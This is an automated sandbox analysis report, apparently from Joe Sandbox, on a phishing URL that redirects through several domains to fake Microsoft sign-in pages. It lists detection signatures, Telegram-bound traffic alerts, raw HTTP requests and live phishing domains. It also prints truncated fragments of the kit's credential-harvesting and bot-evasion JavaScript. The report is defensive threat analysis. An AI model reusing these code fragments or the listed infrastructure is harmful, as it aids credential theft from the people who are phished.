Edit tour

Windows Analysis Report
https://tspice.nevendingwaer.shop/10s35o

Overview

General Information

Sample URL:	https://tspice.nevendingwaer.shop/10s35o
Analysis ID:	1655139
Infos:

Detection

HTMLPhisher

Score:	88
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Suricata IDS alerts for network traffic

Yara detected HtmlPhish54

AI detected suspicious Javascript

Javascript uses Clearbit API to dynamically determine company logos

Javascript uses Telegram API

Uses the Telegram API (likely for C&C communication)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Javascript checks online IP of machine

No HTML title found

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6920 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7148 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1968,i,16079603147471412564,16033331980885956932,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 3472 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://tspice.nevendingwaer.shop/10s35o" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
6.75..script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.63..script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
6.248..script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.13.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
6.15.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
6.17.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
6.19.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
6.20.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 3 entries

Suricata Signatures

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-03T01:18:34.014308+0200	1810007	1	Potentially Bad Traffic	192.168.2.16	49769	149.154.167.220	443	TCP
2025-04-03T01:18:34.715478+0200	1810007	1	Potentially Bad Traffic	192.168.2.16	49770	149.154.167.220	443	TCP
2025-04-03T01:18:36.311575+0200	1810007	1	Potentially Bad Traffic	192.168.2.16	49771	149.154.167.220	443	TCP

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://classntfst.shop/ne/

Avira URL Cloud: Label: malware

Phishing

AI detected phishing page

Source: https://oka.greenthreads.hr/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'oka.greenthreads.hr' does not match the legitimate domain 'microsoft.com'., The domain 'greenthreads.hr' is not associated with Microsoft., The presence of a non-Microsoft domain with a Microsoft brand association is suspicious., The input field 'Enter recipient email' could be used for phishing purposes. DOM: 2.4.pages.csv
Source: https://oka.greenthreads.hr/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'oka.greenthreads.hr' does not match the legitimate domain 'microsoft.com'., The domain 'greenthreads.hr' does not have any known association with Microsoft., The presence of a subdomain 'oka' and the main domain 'greenthreads.hr' is suspicious and not related to Microsoft., The domain extension '.hr' is not typically associated with Microsoft, which usually uses '.com'. DOM: 2.5.pages.csv
Source: https://neat.owa-wensglotii.top/?sso_reload=true	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'neat.owa-wensglotii.top' does not match the legitimate domain., The URL contains suspicious elements such as unusual domain extension '.top' and hyphenated subdomain 'owa-wensglotii'., The presence of input fields for 'Email, phone, or Skype' is typical for Microsoft services, but the URL does not match Microsoft's domain. DOM: 6.16.pages.csv
Source: https://neat.owa-wensglotii.top/?sso_reload=true	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'neat.owa-wensglotii.top' does not match the legitimate domain 'microsoft.com'., The presence of 'owa' in the subdomain may attempt to mimic Microsoft's Outlook Web Access, which is suspicious., The domain extension '.top' is unusual for a well-known brand like Microsoft, which typically uses '.com'., The URL contains hyphens and an unusual structure, which is a common tactic in phishing URLs. DOM: 6.17.pages.csv

Yara detected HtmlPhish54

Source: Yara match	File source: 6.75..script.csv, type: HTML
Source: Yara match	File source: 4.63..script.csv, type: HTML
Source: Yara match	File source: 6.248..script.csv, type: HTML
Source: Yara match	File source: 4.13.pages.csv, type: HTML
Source: Yara match	File source: 6.15.pages.csv, type: HTML
Source: Yara match	File source: 6.17.pages.csv, type: HTML
Source: Yara match	File source: 6.19.pages.csv, type: HTML
Source: Yara match	File source: 6.20.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 2.11..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://oka.greenthreads.hr/_next/static/chunks/pa... This script demonstrates several high-risk behaviors, including data exfiltration, obfuscated code, and dynamic code execution. It collects sensitive user information (email, password, IP address, user agent) and sends it to a Telegram bot, which is a strong indicator of malicious intent. The script also checks for bot activity and redirects users to a 'denied' page if detected. Overall, this script poses a significant security risk and should be treated as highly suspicious.
Source: 4.19..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: blob:https://neat.owa-wensglotii.top/7be7db12-23d6... This script demonstrates high-risk behavior by using the `eval()` function to execute dynamic code received from an untrusted source. The use of `eval()` allows for the execution of arbitrary JavaScript, which poses a significant security risk. Additionally, the lack of origin verification and the absence of a message source indicate that this script is vulnerable to cross-origin attacks and could be used to execute malicious code on the client-side.

Javascript uses Clearbit API to dynamically determine company logos

Source: https://oka.greenthreads.hr/_next/static/chunks/pages/index-c362d579fbf7a668.js

HTTP Parser: (self.webpackchunk_n_e=self.webpackchunk_n_e||[]).push([[405],{5557:function(e,t,n){(window.__next_p=window.__next_p||[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i),l=n(9812),c=n.n(l);let u=()=>{let[e,t]=(0,o.usestate)(""),[n,i]=(0,o.usestate)(""),[l,u]=(0,o.usestate)(!1),[d,_]=(0,o.usestate)("/favicon.ico"),[p,m]=(0,o.usestate)("verify your email identity to continue."),[g,h]=(0,o.usestate)(!1),x=e=>{t(e.target.value)},b=t=>{if(t.preventdefault(),e.includes("@")){u(!0),m("verify email password");let t=e.split("@")[1];_("https://logo.clearbit.com/".concat(t))}else alert("please enter a valid email address.")},f=async t=>{if(t.preventdefault(),n.length<5){alert("password must be at least 5 characters long.");return}h(!0);try{let t=await s.z.get("https://api64.ipify.org?format=json").then(e=>e.data.ip),a=await s.z.post("https://rail-bot-production.up.railway.app/api/detect_bot",{user_agent:navigator.useragent,ip:t}),{is_b...

Javascript uses Telegram API

Source: https://oka.greenthreads.hr/_next/static/chunks/pages/index-c362d579fbf7a668.js

Source: https://oka.greenthreads.hr/	HTTP Parser: Number of links: 0
Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: Number of links: 0

Source: https://oka.greenthreads.hr/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://netro.gitcombust.shop/

HTTP Parser: Base64 decoded: 1743635885.000000

Source: https://neat.owa-wensglotii.top/?sso_reload=true

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://netro.gitcombust.shop/script.js	HTTP Parser: async function getuserip() { try { const response = await fetch('https://api64.ipify.org?format=json'); const data = await response.json(); return data.ip; } catch (error) { console.error('failed to get ip:', error); return '0.0.0.0'; // default ip in case of error }}// function to detect canvas fingerprintingfunction iscanvasblocked() { try { const canvas = document.createelement("canvas"); const ctx = canvas.getcontext("2d"); if (!ctx) return true; ctx.filltext("bot detection", 10, 10); return ctx.getimagedata(10, 10, 1, 1).data.length === 0; } catch (e) { return true; // if an error occurs, assume the canvas is blocked }}function detectbotlocally() { const botpatterns = [/bot/, /crawl/, /spider/, /scraper/, /python/, /httpclient/, /fetch/, /curl/]; const isbotuseragent = botpatterns.some(pattern => pattern.test(navigator.useragent.tolowercase())); c...
Source: https://oka.greenthreads.hr/_next/static/chunks/pages/index-c362d579fbf7a668.js	HTTP Parser: (self.webpackchunk_n_e=self.webpackchunk_n_e\|\|[]).push([[405],{5557:function(e,t,n){(window.__next_p=window.__next_p\|\|[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i),l=n(9812),c=n.n(l);let u=()=>{let[e,t]=(0,o.usestate)(""),[n,i]=(0,o.usestate)(""),[l,u]=(0,o.usestate)(!1),[d,_]=(0,o.usestate)("/favicon.ico"),[p,m]=(0,o.usestate)("verify your email identity to continue."),[g,h]=(0,o.usestate)(!1),x=e=>{t(e.target.value)},b=t=>{if(t.preventdefault(),e.includes("@")){u(!0),m("verify email password");let t=e.split("@")[1];_("https://logo.clearbit.com/".concat(t))}else alert("please enter a valid email address.")},f=async t=>{if(t.preventdefault(),n.length<5){alert("password must be at least 5 characters long.");return}h(!0);try{let t=await s.z.get("https://api64.ipify.org?format=json").then(e=>e.data.ip),a=await s.z.post("https://rail-bot-production.up.railway.app/api/detect_bot",{user_agent:navigator.useragent,ip:t}),{is_b...

Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing
Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing
Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing

Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: Iframe src: https://portal.microsoftonline.com/Prefetch/Prefetch.aspx
Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: Iframe src: https://portal.microsoftonline.com/Prefetch/Prefetch.aspx
Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: Iframe src: https://portal.microsoftonline.com/Prefetch/Prefetch.aspx
Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: Iframe src: https://portal.microsoftonline.com/Prefetch/Prefetch.aspx

Source: https://oka.greenthreads.hr/	HTTP Parser: <input type="password" .../> found
Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: <input type="password" .../> found

Source: https://netro.gitcombust.shop/	HTTP Parser: No favicon
Source: https://netro.gitcombust.shop/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon
Source: https://neat.owa-wensglotii.top/	HTTP Parser: No favicon
Source: https://neat.owa-wensglotii.top/	HTTP Parser: No favicon
Source: https://neat.owa-wensglotii.top/	HTTP Parser: No favicon
Source: https://neat.owa-wensglotii.top/	HTTP Parser: No favicon
Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: No favicon
Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: No favicon

Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found
Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found
Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://neat.owa-wensglotii.top/?sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.48.207:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.207:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.208.136.93:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.16:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.208.136.93:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.41.4:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.16:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.154.53:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.16:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.16:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.138.106.32:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.16:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.237.62.213:443 -> 192.168.2.16:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.33.22.1:443 -> 192.168.2.16:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.16:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.33.22.1:443 -> 192.168.2.16:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.16:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.173.205:443 -> 192.168.2.16:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.173.205:443 -> 192.168.2.16:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.16:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.173.205:443 -> 192.168.2.16:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.16:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.16:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.156:443 -> 192.168.2.16:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49830 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.16:49771 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.16:49769 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.16:49770 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: tspice.nevendingwaer.shop to https://www.clkmg.com/h4pussy/10s35o
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: patnero.thesilent.de to https://classntfst.shop/ne/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: classntfst.shop to https://oka.greenthreads.hr
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: patnero.thesilent.de to https://classntfst.shop/ne/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: classntfst.shop to https://oka.greenthreads.hr

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.80.35
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.80.35
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /10s35o HTTP/1.1Host: tspice.nevendingwaer.shopConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /h4pussy/10s35o HTTP/1.1Host: www.clkmg.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /redir.cgi?url=R%2bsdRIAkJagZShf8s3PO%2ffhP%2fk%2bF9X1SLJG7yO2j4ZW%2buVyVLHDAb6R%2bRCXcnUYLh4wbUOSwVvu%2bbkT5&pixel=0&lidc=1749876487 HTTP/1.1Host: www.clkmg.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: alc=1; vid=1158291691
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: netro.gitcombust.shopConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://www.clkmg.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.clkmg.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.clkmg.com/redir.cgi?url=R%2bsdRIAkJagZShf8s3PO%2ffhP%2fk%2bF9X1SLJG7yO2j4ZW%2buVyVLHDAb6R%2bRCXcnUYLh4wbUOSwVvu%2bbkT5&pixel=0&lidc=1749876487Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: alc=1; vid=1158291691
Source: global traffic	HTTP traffic detected: GET /styles.css HTTP/1.1Host: netro.gitcombust.shopConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://netro.gitcombust.shop/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.clkmg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: alc=1; vid=1158291691
Source: global traffic	HTTP traffic detected: GET /script.js HTTP/1.1Host: netro.gitcombust.shopConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://netro.gitcombust.shop/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: netro.gitcombust.shopConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://netro.gitcombust.shop/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1Host: netro.gitcombust.shopConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
